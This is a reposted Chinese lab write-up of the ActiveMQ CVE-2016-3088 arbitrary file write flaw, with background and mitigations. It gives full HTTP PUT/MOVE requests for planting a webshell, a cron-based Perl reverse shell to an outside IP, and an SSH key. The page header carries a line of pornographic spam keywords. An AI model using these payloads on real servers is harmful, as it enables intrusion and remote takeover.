日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【安全狐】CVE-2016-3088_ActiveMQ任意文件写入漏洞

發(fā)布時間:2023/12/14 编程问答 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【安全狐】CVE-2016-3088_ActiveMQ任意文件写入漏洞 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

CVE-2016-3088_ActiveMQ任意文件寫入漏洞

0x01漏洞背景

ActiveMQ的web控制臺分三個應(yīng)用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。

fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進(jìn)行讀寫操作,其設(shè)計(jì)目的是為了彌補(bǔ)消息隊(duì)列操作不能傳輸、存儲二進(jìn)制文件的缺陷,但后來發(fā)現(xiàn):

  • 其使用率并不高
  • 文件操作容易出現(xiàn)漏洞
  • 所以,ActiveMQ在5.12.x~5.13.x版本中,已經(jīng)默認(rèn)關(guān)閉了fileserver這個應(yīng)用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應(yīng)用。

    在測試過程中,可以關(guān)注ActiveMQ的版本,避免走彎路。

    0x02環(huán)境搭建

    利用vulhub的docker環(huán)境搭建

    在/vulhub/activemq/CVE-2015-5254目錄下運(yùn)行

    搭建及運(yùn)行漏洞環(huán)境:

    docker-compose up -d

    環(huán)境監(jiān)聽61616端口和8161端口,其中8161為web控制臺端口,本漏洞就出現(xiàn)在web控制臺中。

    訪問http://ip:8161/看到web頁面,說明環(huán)境已成功運(yùn)行。

    0x03漏洞詳情

    本漏洞出現(xiàn)在fileserver應(yīng)用中,漏洞原理其實(shí)非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。

    文件寫入有幾種利用方法:

  • 寫入webshell
  • 寫入cron或ssh key等文件
  • 寫入jar或jetty.xml等庫和配置文件
  • 寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應(yīng)用都需要登錄才能訪問,所以有點(diǎn)雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點(diǎn)是需要root權(quán)限;寫入jar,稍微麻煩點(diǎn)(需要jar的后門),寫入xml配置文件,這個方法比較靠譜,但有個雞肋點(diǎn)是:我們需要知道activemq的絕對路徑。

    分別說一下上述幾種利用方法。

    寫入webshell

    前面說了,寫入webshell,需要寫在admin或api應(yīng)用中,而這倆應(yīng)用都需要登錄才能訪問。

    默認(rèn)的ActiveMQ賬號密碼均為admin,首先訪問http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的絕對路徑:

    然后上傳webshell:

    這里用的Burp,冰蝎馬

    PUT /fileserver/2.txt HTTP/1.1 Host: xxxx:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 120976webshell...

    ps:狀態(tài)碼204 No Content:服務(wù)器成功處理了請求,但沒返回任何內(nèi)容

    移動到web目錄下的api文件夾(/opt/activemq/webapps/api/s.jsp)中:

    MOVE /fileserver/2.txt HTTP/1.1 Destination: file:///opt/activemq/webapps/api/s.jsp Host: localhost:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0

    連接webshell(需要登錄):

    ps:這一步有點(diǎn)坑,因?yàn)樾枰顷?#xff0c;如果傳大馬的話,直接在瀏覽器驗(yàn)證admin就可以了,但我用的是冰蝎馬,所以就得把cookie信息扔到冰蝎連接的設(shè)置里,我是把整個包扔進(jìn)去了的

    寫入crontab,自動化彈shell

    這是一個比較穩(wěn)健的方法。首先上傳cron配置文件(注意,換行一定要\n,不能是\r\n,否則crontab執(zhí)行會失敗):

    PUT /fileserver/1.txt HTTP/1.1 Host: xxxx:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="xxxxx";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    將其移動到/etc/cron.d/root:

    MOVE /fileserver/1.txt HTTP/1.1 Destination: file:///etc/cron.d/root Host: xxxx:8161 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Length: 0

    未成功,可能是非root用戶的原因

    使用ssh_key的方法

    既然可以任意文件上傳和移動,很自然的可以想到上傳我們的 ssh 公鑰,從而實(shí)現(xiàn) SSH 方式登錄。

    首先生成密鑰對。(如果已存在則不需要)

    上傳ssh公鑰

    PUT /fileserver/id_rsa.pud HTTP/1.1 Host: xxxx:8161 Content-Length: 409ssh-rsa xxxxxxxxxxxxxxxxxxx

    之后直接ssh登錄即可

    0x04漏洞影響

    漏洞影響版本:Apache ActiveMQ 5.x ~ 5.14.0

    在 ZoomEye 上用 日期 和 ActiveMQ 作為關(guān)鍵詞檢索,分別探測了2015年1月1日(漏洞爆發(fā)前一年)和2017年1月1日(漏洞爆發(fā)后一年)互聯(lián)網(wǎng)上 ActiveMQ 的總量情況,如下。

    可以看到,ActiveMQ的數(shù)量在漏洞爆發(fā)前后有很大幅度的減少,從這我們大致可以猜測漏洞爆發(fā)后很多ActiveMQ的Web服務(wù)限制了來自公網(wǎng)的訪問。

    0x05防護(hù)方案

    1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建議用戶升級至 5.14.0 及其以后版本。

    2、通過移除 conf\jetty.xml 的以下配置來禁用 ActiveMQ Fileserver 功能

    總結(jié)

    以上是生活随笔為你收集整理的【安全狐】CVE-2016-3088_ActiveMQ任意文件写入漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。